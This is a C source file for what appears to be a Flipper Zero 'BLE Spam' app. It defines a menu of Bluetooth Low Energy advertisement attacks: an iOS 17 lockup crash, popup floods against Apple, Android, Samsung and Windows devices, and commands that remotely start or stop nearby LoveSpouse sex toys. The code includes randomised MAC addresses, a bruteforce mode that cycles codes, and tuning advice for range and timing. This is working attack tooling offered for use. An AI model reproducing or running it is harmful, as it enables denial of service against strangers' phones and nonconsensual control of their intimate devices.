ble_spam.c 23 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691
  1. #include "ble_spam.h"
  2. #include <gui/gui.h>
  3. #include <furi_hal_bt.h>
  4. #include <gui/elements.h>
  5. #include "protocols/_protocols.h"
  6. // Hacked together by @Willy-JL
  7. // Custom adv API by @Willy-JL (idea by @xMasterX)
  8. // iOS 17 Crash by @ECTO-1A
  9. // Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
  10. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  11. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  12. static Attack attacks[] = {
  13. {
  14. .title = "The Kitchen Sink",
  15. .text = "Flood all attacks at once",
  16. .protocol = NULL,
  17. .payload =
  18. {
  19. .random_mac = true,
  20. .cfg = {},
  21. },
  22. },
  23. {
  24. .title = "iOS 17 Lockup Crash",
  25. .text = "Newer iPhones, long range",
  26. .protocol = &protocol_continuity,
  27. .payload =
  28. {
  29. .random_mac = false,
  30. .cfg.continuity =
  31. {
  32. .type = ContinuityTypeCustomCrash,
  33. },
  34. },
  35. },
  36. {
  37. .title = "Apple Action Modal",
  38. .text = "Lock cooldown, long range",
  39. .protocol = &protocol_continuity,
  40. .payload =
  41. {
  42. .random_mac = false,
  43. .cfg.continuity =
  44. {
  45. .type = ContinuityTypeNearbyAction,
  46. },
  47. },
  48. },
  49. {
  50. .title = "Apple Device Popup",
  51. .text = "No cooldown, close range",
  52. .protocol = &protocol_continuity,
  53. .payload =
  54. {
  55. .random_mac = false,
  56. .cfg.continuity =
  57. {
  58. .type = ContinuityTypeProximityPair,
  59. },
  60. },
  61. },
  62. {
  63. .title = "Android Device Connect",
  64. .text = "Reboot cooldown, long range",
  65. .protocol = &protocol_fastpair,
  66. .payload =
  67. {
  68. .random_mac = true,
  69. .cfg.fastpair = {},
  70. },
  71. },
  72. {
  73. .title = "Samsung Buds Popup",
  74. .text = "No cooldown, long range",
  75. .protocol = &protocol_easysetup,
  76. .payload =
  77. {
  78. .random_mac = true,
  79. .cfg.easysetup =
  80. {
  81. .type = EasysetupTypeBuds,
  82. },
  83. },
  84. },
  85. {
  86. .title = "Samsung Watch Pair",
  87. .text = "No cooldown, long range",
  88. .protocol = &protocol_easysetup,
  89. .payload =
  90. {
  91. .random_mac = true,
  92. .cfg.easysetup =
  93. {
  94. .type = EasysetupTypeWatch,
  95. },
  96. },
  97. },
  98. {
  99. .title = "Windows Device Found",
  100. .text = "No cooldown, short range",
  101. .protocol = &protocol_swiftpair,
  102. .payload =
  103. {
  104. .random_mac = true,
  105. .cfg.swiftpair = {},
  106. },
  107. },
  108. {
  109. .title = "Vibrate 'em All",
  110. .text = "Activate all LoveSpouse toys",
  111. .protocol = &protocol_lovespouse,
  112. .payload =
  113. {
  114. .random_mac = true,
  115. .cfg.lovespouse =
  116. {
  117. .state = LovespouseStatePlay,
  118. },
  119. },
  120. },
  121. {
  122. .title = "Denial of Pleasure",
  123. .text = "Disable all LoveSpouse toys",
  124. .protocol = &protocol_lovespouse,
  125. .payload =
  126. {
  127. .random_mac = true,
  128. .cfg.lovespouse =
  129. {
  130. .state = LovespouseStateStop,
  131. },
  132. },
  133. },
  134. };
  135. #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
  136. static uint16_t delays[] = {20, 50, 100, 200};
  137. typedef struct {
  138. Ctx ctx;
  139. View* main_view;
  140. bool lock_warning;
  141. uint8_t lock_count;
  142. FuriTimer* lock_timer;
  143. bool resume;
  144. bool advertising;
  145. uint8_t delay;
  146. FuriThread* thread;
  147. int8_t index;
  148. bool ignore_bruteforce;
  149. } State;
  150. const NotificationSequence solid_message = {
  151. &message_red_0,
  152. &message_green_255,
  153. &message_blue_255,
  154. &message_do_not_reset,
  155. &message_delay_10,
  156. NULL,
  157. };
  158. NotificationMessage blink_message = {
  159. .type = NotificationMessageTypeLedBlinkStart,
  160. .data.led_blink.color = LightBlue | LightGreen,
  161. .data.led_blink.on_time = 10,
  162. .data.led_blink.period = 100,
  163. };
  164. const NotificationSequence blink_sequence = {
  165. &blink_message,
  166. &message_do_not_reset,
  167. NULL,
  168. };
  169. static void start_blink(State* state) {
  170. uint16_t period = delays[state->delay];
  171. if(period <= 100) period += 30;
  172. blink_message.data.led_blink.period = period;
  173. notification_message_block(state->ctx.notification, &blink_sequence);
  174. }
  175. static void stop_blink(State* state) {
  176. notification_message_block(state->ctx.notification, &sequence_blink_stop);
  177. }
  178. static int32_t adv_thread(void* _ctx) {
  179. State* state = _ctx;
  180. uint8_t size;
  181. uint16_t delay;
  182. uint8_t* packet;
  183. uint8_t mac[GAP_MAC_ADDR_SIZE];
  184. Payload* payload = &attacks[state->index].payload;
  185. const Protocol* protocol = attacks[state->index].protocol;
  186. if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
  187. if(state->ctx.led_indicator) start_blink(state);
  188. while(state->advertising) {
  189. if(protocol) {
  190. if(payload->mode == PayloadModeBruteforce && payload->bruteforce.counter++ >= 10) {
  191. payload->bruteforce.counter = 0;
  192. payload->bruteforce.value =
  193. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  194. }
  195. protocol->make_packet(&size, &packet, payload);
  196. } else {
  197. protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
  198. }
  199. furi_hal_bt_custom_adv_set(packet, size);
  200. free(packet);
  201. if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
  202. delay = delays[state->delay];
  203. furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
  204. furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
  205. furi_hal_bt_custom_adv_stop();
  206. }
  207. if(state->ctx.led_indicator) stop_blink(state);
  208. return 0;
  209. }
  210. static void toggle_adv(State* state) {
  211. if(state->advertising) {
  212. state->advertising = false;
  213. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  214. furi_thread_join(state->thread);
  215. if(state->resume) furi_hal_bt_start_advertising();
  216. } else {
  217. state->advertising = true;
  218. state->resume = furi_hal_bt_is_active();
  219. furi_hal_bt_stop_advertising();
  220. furi_thread_start(state->thread);
  221. }
  222. }
  223. #define PAGE_MIN (-5)
  224. #define PAGE_MAX ATTACKS_COUNT
  225. enum {
  226. PageHelpBruteforce = PAGE_MIN,
  227. PageHelpApps,
  228. PageHelpDelay,
  229. PageHelpDistance,
  230. PageHelpInfoConfig,
  231. PageStart = 0,
  232. PageEnd = ATTACKS_COUNT - 1,
  233. PageAboutCredits = PAGE_MAX,
  234. };
  235. static void draw_callback(Canvas* canvas, void* _ctx) {
  236. State* state = *(State**)_ctx;
  237. const char* back = "Back";
  238. const char* next = "Next";
  239. if(state->index < 0) {
  240. back = "Next";
  241. next = "Back";
  242. }
  243. switch(state->index) {
  244. case PageStart - 1:
  245. next = "Spam";
  246. break;
  247. case PageStart:
  248. back = "Help";
  249. break;
  250. case PageEnd:
  251. next = "About";
  252. break;
  253. case PageEnd + 1:
  254. back = "Spam";
  255. break;
  256. }
  257. const Attack* attack =
  258. (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
  259. const Payload* payload = attack ? &attack->payload : NULL;
  260. const Protocol* protocol = attack ? attack->protocol : NULL;
  261. canvas_set_font(canvas, FontSecondary);
  262. canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
  263. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  264. switch(state->index) {
  265. case PageHelpBruteforce:
  266. canvas_set_font(canvas, FontBatteryPercent);
  267. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  268. elements_text_box(
  269. canvas,
  270. 4,
  271. 16,
  272. 120,
  273. 48,
  274. AlignLeft,
  275. AlignTop,
  276. "\e#Bruteforce\e# cycles codes\n"
  277. "to find popups, hold left and\n"
  278. "right to send manually and\n"
  279. "change delay",
  280. false);
  281. break;
  282. case PageHelpApps:
  283. canvas_set_font(canvas, FontBatteryPercent);
  284. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  285. elements_text_box(
  286. canvas,
  287. 4,
  288. 16,
  289. 120,
  290. 48,
  291. AlignLeft,
  292. AlignTop,
  293. "\e#Some Apps\e# interfere\n"
  294. "with the attacks, stay on\n"
  295. "homescreen for best results",
  296. false);
  297. break;
  298. case PageHelpDelay:
  299. canvas_set_font(canvas, FontBatteryPercent);
  300. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  301. elements_text_box(
  302. canvas,
  303. 4,
  304. 16,
  305. 120,
  306. 48,
  307. AlignLeft,
  308. AlignTop,
  309. "\e#Delay\e# is time between\n"
  310. "attack attempts (top right),\n"
  311. "keep 20ms for best results",
  312. false);
  313. break;
  314. case PageHelpDistance:
  315. canvas_set_font(canvas, FontBatteryPercent);
  316. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  317. elements_text_box(
  318. canvas,
  319. 4,
  320. 16,
  321. 120,
  322. 48,
  323. AlignLeft,
  324. AlignTop,
  325. "\e#Distance\e# varies greatly:\n"
  326. "some are long range (>30 m)\n"
  327. "others are close range (<1 m)",
  328. false);
  329. break;
  330. case PageHelpInfoConfig:
  331. canvas_set_font(canvas, FontBatteryPercent);
  332. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  333. elements_text_box(
  334. canvas,
  335. 4,
  336. 16,
  337. 120,
  338. 48,
  339. AlignLeft,
  340. AlignTop,
  341. "See \e#more info\e# and change\n"
  342. "\e#attack options\e# by holding\n"
  343. "Ok on each attack page",
  344. false);
  345. break;
  346. case PageAboutCredits:
  347. canvas_set_font(canvas, FontBatteryPercent);
  348. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  349. elements_text_box(
  350. canvas,
  351. 4,
  352. 16,
  353. 122,
  354. 48,
  355. AlignLeft,
  356. AlignTop,
  357. "App+Spam: \e#WillyJL\e# XFW\n"
  358. "Apple+Crash: \e#ECTO-1A\e#\n"
  359. "Android+Win: \e#Spooks4576\e#\n"
  360. " Version \e#4.2\e#",
  361. false);
  362. break;
  363. default: {
  364. if(!attack) break;
  365. if(state->ctx.lock_keyboard && !state->advertising) {
  366. // Forgive me Lord for I have sinned by handling state in draw
  367. toggle_adv(state);
  368. }
  369. char str[32];
  370. canvas_set_font(canvas, FontBatteryPercent);
  371. if(payload->mode == PayloadModeBruteforce) {
  372. snprintf(
  373. str,
  374. sizeof(str),
  375. "0x%0*lX",
  376. payload->bruteforce.size * 2,
  377. payload->bruteforce.value);
  378. } else {
  379. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  380. }
  381. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  382. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  383. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  384. canvas_set_font(canvas, FontBatteryPercent);
  385. if(payload->mode == PayloadModeBruteforce) {
  386. canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce");
  387. if(delays[state->delay] < 100) {
  388. snprintf(str, sizeof(str), "%ims>", delays[state->delay]);
  389. } else {
  390. snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000);
  391. }
  392. uint16_t w = canvas_string_width(canvas, str);
  393. elements_slightly_rounded_box(canvas, 3, 14, 30, 10);
  394. elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10);
  395. canvas_invert_color(canvas);
  396. canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "<Send");
  397. canvas_draw_str_aligned(canvas, 122, 22, AlignRight, AlignBottom, str);
  398. canvas_invert_color(canvas);
  399. } else {
  400. snprintf(
  401. str,
  402. sizeof(str),
  403. "%02i/%02i: %s",
  404. state->index + 1,
  405. ATTACKS_COUNT,
  406. protocol ? protocol->get_name(payload) : "Everything AND");
  407. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str);
  408. }
  409. canvas_set_font(canvas, FontPrimary);
  410. canvas_draw_str(canvas, 4, 33, attack->title);
  411. canvas_set_font(canvas, FontSecondary);
  412. canvas_draw_str(canvas, 4, 46, attack->text);
  413. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  414. break;
  415. }
  416. }
  417. if(state->index > PAGE_MIN) {
  418. elements_button_left(canvas, back);
  419. }
  420. if(state->index < PAGE_MAX) {
  421. elements_button_right(canvas, next);
  422. }
  423. if(state->lock_warning) {
  424. canvas_set_font(canvas, FontSecondary);
  425. elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
  426. elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
  427. canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
  428. canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
  429. canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
  430. canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
  431. canvas_draw_dot(canvas, 17, 61);
  432. }
  433. }
  434. static bool input_callback(InputEvent* input, void* _ctx) {
  435. View* view = _ctx;
  436. State* state = *(State**)view_get_model(view);
  437. bool consumed = false;
  438. if(state->ctx.lock_keyboard) {
  439. consumed = true;
  440. with_view_model(
  441. state->main_view, State * *model, { (*model)->lock_warning = true; }, true);
  442. if(state->lock_count == 0) {
  443. furi_timer_start(state->lock_timer, 1000);
  444. }
  445. if(input->type == InputTypeShort && input->key == InputKeyBack) {
  446. state->lock_count++;
  447. }
  448. if(state->lock_count >= 3) {
  449. furi_timer_start(state->lock_timer, 1);
  450. }
  451. } else if(
  452. input->type == InputTypeShort || input->type == InputTypeLong ||
  453. input->type == InputTypeRepeat) {
  454. consumed = true;
  455. bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
  456. Payload* payload = is_attack ? &attacks[state->index].payload : NULL;
  457. bool advertising = state->advertising;
  458. switch(input->key) {
  459. case InputKeyOk:
  460. if(is_attack) {
  461. if(input->type == InputTypeLong) {
  462. if(advertising) toggle_adv(state);
  463. state->ctx.attack = &attacks[state->index];
  464. scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
  465. scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
  466. } else if(input->type == InputTypeShort) {
  467. toggle_adv(state);
  468. }
  469. }
  470. break;
  471. case InputKeyUp:
  472. if(is_attack) {
  473. if(payload->mode == PayloadModeBruteforce) {
  474. payload->bruteforce.counter = 0;
  475. payload->bruteforce.value =
  476. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  477. } else if(state->delay < COUNT_OF(delays) - 1) {
  478. state->delay++;
  479. if(advertising) start_blink(state);
  480. }
  481. }
  482. break;
  483. case InputKeyDown:
  484. if(is_attack) {
  485. if(payload->mode == PayloadModeBruteforce) {
  486. payload->bruteforce.counter = 0;
  487. payload->bruteforce.value =
  488. (payload->bruteforce.value - 1) % (1 << (payload->bruteforce.size * 8));
  489. } else if(state->delay > 0) {
  490. state->delay--;
  491. if(advertising) start_blink(state);
  492. }
  493. }
  494. break;
  495. case InputKeyLeft:
  496. if(input->type == InputTypeLong) {
  497. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  498. true;
  499. }
  500. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  501. payload->mode != PayloadModeBruteforce) {
  502. if(state->index > PAGE_MIN) {
  503. if(advertising) toggle_adv(state);
  504. state->index--;
  505. }
  506. } else {
  507. if(!advertising) {
  508. bool resume = furi_hal_bt_is_active();
  509. furi_hal_bt_stop_advertising();
  510. Payload* payload = &attacks[state->index].payload;
  511. const Protocol* protocol = attacks[state->index].protocol;
  512. uint8_t size;
  513. uint8_t* packet;
  514. protocol->make_packet(&size, &packet, payload);
  515. furi_hal_bt_custom_adv_set(packet, size);
  516. free(packet);
  517. uint8_t mac[GAP_MAC_ADDR_SIZE];
  518. furi_hal_random_fill_buf(mac, sizeof(mac));
  519. uint16_t delay = delays[state->delay];
  520. furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
  521. if(state->ctx.led_indicator)
  522. notification_message(state->ctx.notification, &solid_message);
  523. furi_delay_ms(10);
  524. furi_hal_bt_custom_adv_stop();
  525. if(state->ctx.led_indicator)
  526. notification_message_block(state->ctx.notification, &sequence_reset_rgb);
  527. if(resume) furi_hal_bt_start_advertising();
  528. }
  529. }
  530. break;
  531. case InputKeyRight:
  532. if(input->type == InputTypeLong) {
  533. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  534. true;
  535. }
  536. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  537. payload->mode != PayloadModeBruteforce) {
  538. if(state->index < PAGE_MAX) {
  539. if(advertising) toggle_adv(state);
  540. state->index++;
  541. }
  542. } else if(input->type == InputTypeLong) {
  543. state->delay = (state->delay + 1) % COUNT_OF(delays);
  544. if(advertising) start_blink(state);
  545. }
  546. break;
  547. case InputKeyBack:
  548. if(advertising) toggle_adv(state);
  549. consumed = false;
  550. break;
  551. default:
  552. break;
  553. }
  554. }
  555. view_commit_model(view, consumed);
  556. return consumed;
  557. }
  558. static void lock_timer_callback(void* _ctx) {
  559. State* state = _ctx;
  560. if(state->lock_count < 3) {
  561. notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
  562. } else {
  563. state->ctx.lock_keyboard = false;
  564. }
  565. with_view_model(
  566. state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
  567. state->lock_count = 0;
  568. }
  569. static void tick_event_callback(void* _ctx) {
  570. State* state = _ctx;
  571. bool advertising;
  572. with_view_model(
  573. state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising);
  574. scene_manager_handle_tick_event(state->ctx.scene_manager);
  575. }
  576. static bool back_event_callback(void* _ctx) {
  577. State* state = _ctx;
  578. return scene_manager_handle_back_event(state->ctx.scene_manager);
  579. }
  580. int32_t ble_spam(void* p) {
  581. UNUSED(p);
  582. State* state = malloc(sizeof(State));
  583. state->thread = furi_thread_alloc();
  584. furi_thread_set_callback(state->thread, adv_thread);
  585. furi_thread_set_context(state->thread, state);
  586. furi_thread_set_stack_size(state->thread, 4096);
  587. state->ctx.led_indicator = true;
  588. state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
  589. state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
  590. Gui* gui = furi_record_open(RECORD_GUI);
  591. state->ctx.view_dispatcher = view_dispatcher_alloc();
  592. view_dispatcher_enable_queue(state->ctx.view_dispatcher);
  593. view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state);
  594. view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100);
  595. view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
  596. state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
  597. state->main_view = view_alloc();
  598. view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
  599. with_view_model(
  600. state->main_view, State * *model, { *model = state; }, false);
  601. view_set_context(state->main_view, state->main_view);
  602. view_set_draw_callback(state->main_view, draw_callback);
  603. view_set_input_callback(state->main_view, input_callback);
  604. view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
  605. state->ctx.byte_input = byte_input_alloc();
  606. view_dispatcher_add_view(
  607. state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
  608. state->ctx.submenu = submenu_alloc();
  609. view_dispatcher_add_view(
  610. state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
  611. state->ctx.text_input = text_input_alloc();
  612. view_dispatcher_add_view(
  613. state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
  614. state->ctx.variable_item_list = variable_item_list_alloc();
  615. view_dispatcher_add_view(
  616. state->ctx.view_dispatcher,
  617. ViewVariableItemList,
  618. variable_item_list_get_view(state->ctx.variable_item_list));
  619. view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
  620. scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
  621. view_dispatcher_run(state->ctx.view_dispatcher);
  622. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
  623. byte_input_free(state->ctx.byte_input);
  624. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
  625. submenu_free(state->ctx.submenu);
  626. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
  627. text_input_free(state->ctx.text_input);
  628. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
  629. variable_item_list_free(state->ctx.variable_item_list);
  630. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
  631. view_free(state->main_view);
  632. scene_manager_free(state->ctx.scene_manager);
  633. view_dispatcher_free(state->ctx.view_dispatcher);
  634. furi_record_close(RECORD_GUI);
  635. furi_record_close(RECORD_NOTIFICATION);
  636. furi_timer_free(state->lock_timer);
  637. furi_thread_free(state->thread);
  638. free(state);
  639. return 0;
  640. }